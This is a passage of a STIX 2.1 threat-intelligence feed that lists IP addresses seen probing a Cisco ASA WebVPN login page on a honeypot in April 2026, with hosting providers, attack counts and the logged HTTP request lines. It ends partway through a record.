    {
      "created": "2026-04-10T16:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--eedf2c26-7def-4769-aed4-f91e7d7d3389",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '146.70.211.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T16:20:11.000Z",
      "valid_until": "2026-05-12T16:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 24,
          "first_seen": "2026-04-10T15:58:59.883Z",
          "last_seen": "2026-04-23T15:20:05.688Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T16:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 136557 (Host Universal Pty Ltd)",
      "id": "indicator--f1457aa7-6d68-46ef-8715-78cb2f12c8ee",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '155.2.191.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T16:20:11.000Z",
      "valid_until": "2026-05-12T16:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-10T16:17:13.526Z",
          "last_seen": "2026-04-28T00:53:55.215Z",
          "country": "United States",
          "country_code": "US",
          "asn": 136557,
          "as_org": "Host Universal Pty Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T16:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--69584e88-10c3-4077-b52f-0cf55f5219a8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '173.249.252.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T16:20:11.000Z",
      "valid_until": "2026-05-12T16:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-10T15:59:36.743Z",
          "last_seen": "2026-04-25T06:56:19.065Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T16:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--b823e002-4ed2-4326-889e-b9e604743d9e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.102.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T16:20:11.000Z",
      "valid_until": "2026-05-12T16:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 3,
          "first_seen": "2026-04-10T15:52:29.488Z",
          "last_seen": "2026-04-10T15:52:37.605Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T16:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--eadb0db7-fdb9-42bc-8ce4-7b6a9f6b4fd6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.105.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T16:20:11.000Z",
      "valid_until": "2026-05-12T16:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-10T16:09:23.391Z",
          "last_seen": "2026-04-23T08:43:57.121Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T16:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--5c73a9af-de68-44a4-a8f4-d382bd9f96a3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.110.188']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T16:20:11.000Z",
      "valid_until": "2026-05-12T16:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-10T15:32:28.318Z",
          "last_seen": "2026-04-18T04:31:35.317Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T16:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--0bb9916d-f155-4c2b-a9ce-36161466c3d9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.117.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T16:20:11.000Z",
      "valid_until": "2026-05-12T16:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 36,
          "first_seen": "2026-04-10T15:36:01.938Z",
          "last_seen": "2026-04-29T01:14:54.988Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T16:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--404769da-2aa0-4574-810c-9715d5b3307d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.96.109']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T16:20:11.000Z",
      "valid_until": "2026-05-12T16:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 18,
          "first_seen": "2026-04-10T16:07:21.297Z",
          "last_seen": "2026-04-18T17:19:36.678Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T16:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--ad8854f2-307f-40cd-b796-d26fd698e1c5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.97.59']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T16:20:11.000Z",
      "valid_until": "2026-05-12T16:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-10T16:09:59.311Z",
          "last_seen": "2026-04-21T10:25:53.935Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T16:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--41a760f8-ecac-4b95-b1fd-97016bfda3f7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '68.235.46.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T16:20:11.000Z",
      "valid_until": "2026-05-12T16:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 39,
          "first_seen": "2026-04-10T04:07:59.501Z",
          "last_seen": "2026-04-29T15:41:39.143Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T17:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--fc6af5da-74a0-4c4f-818c-1a74358ad2d6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '103.102.246.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T17:20:13.000Z",
      "valid_until": "2026-05-12T17:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 18,
          "first_seen": "2026-04-10T16:52:34.239Z",
          "last_seen": "2026-04-29T17:01:03.233Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T17:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--d2c68d80-b876-413a-b962-b81111c009ed",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '103.81.231.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T17:20:13.000Z",
      "valid_until": "2026-05-12T17:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 27,
          "first_seen": "2026-04-10T16:37:29.597Z",
          "last_seen": "2026-04-28T00:12:58.478Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T17:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 214238 (Host Telecom Ltd)",
      "id": "indicator--5ab34704-9030-4c1b-a5c8-85890f21235a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '142.111.228.35']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T17:20:13.000Z",
      "valid_until": "2026-05-12T17:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 10,
          "first_seen": "2026-04-10T16:54:30.354Z",
          "last_seen": "2026-04-13T14:23:36.944Z",
          "country": "United States",
          "country_code": "US",
          "asn": 214238,
          "as_org": "Host Telecom Ltd",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T17:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--e2dbcd47-5604-4435-aae9-3c753a4c500d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '146.70.187.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T17:20:13.000Z",
      "valid_until": "2026-05-12T17:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 21,
          "first_seen": "2026-04-10T16:54:10.005Z",
          "last_seen": "2026-04-24T23:15:48.236Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T17:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 136557 (Host Universal Pty Ltd)",
      "id": "indicator--19602c57-28e9-489c-9ceb-c86f6cc11960",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '155.2.191.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T17:20:13.000Z",
      "valid_until": "2026-05-12T17:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 21,
          "first_seen": "2026-04-10T17:07:29.704Z",
          "last_seen": "2026-04-27T22:39:05.992Z",
          "country": "United States",
          "country_code": "US",
          "asn": 136557,
          "as_org": "Host Universal Pty Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T17:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--ab22cc5c-6898-454d-8f92-129eadc38b80",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '173.249.255.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T17:20:13.000Z",
      "valid_until": "2026-05-12T17:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 33,
          "first_seen": "2026-04-10T17:01:09.784Z",
          "last_seen": "2026-04-29T22:44:33.093Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T17:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 21859 (Zenlayer Inc)",
      "id": "indicator--11c02276-be01-455b-9579-7f4152d38ade",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '185.213.193.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T17:20:13.000Z",
      "valid_until": "2026-05-12T17:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 20,
          "first_seen": "2026-04-10T16:35:00.345Z",
          "last_seen": "2026-04-30T01:27:57.520Z",
          "country": "United States",
          "country_code": "US",
          "asn": 21859,
          "as_org": "Zenlayer Inc",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T17:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 30671 (Data Bridge Limited)",
      "id": "indicator--e81fcd35-ab5f-4572-ba59-f6b55e692531",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.160.24.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T17:20:13.000Z",
      "valid_until": "2026-05-12T17:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 18,
          "first_seen": "2026-04-10T17:09:57.024Z",
          "last_seen": "2026-04-18T11:44:40.510Z",
          "country": "United States",
          "country_code": "US",
          "asn": 30671,
          "as_org": "Data Bridge Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T17:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--898d4682-355a-43df-a547-80908d62a7de",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.79.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T17:20:13.000Z",
      "valid_until": "2026-05-12T17:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 18,
          "first_seen": "2026-04-10T16:44:30.094Z",
          "last_seen": "2026-04-24T19:50:40.511Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T17:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--f8e1dd72-02f8-4222-92d6-ef254d3cb819",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.99.59']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T17:20:13.000Z",
      "valid_until": "2026-05-12T17:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 18,
          "first_seen": "2026-04-10T17:03:05.625Z",
          "last_seen": "2026-04-29T01:19:47.625Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
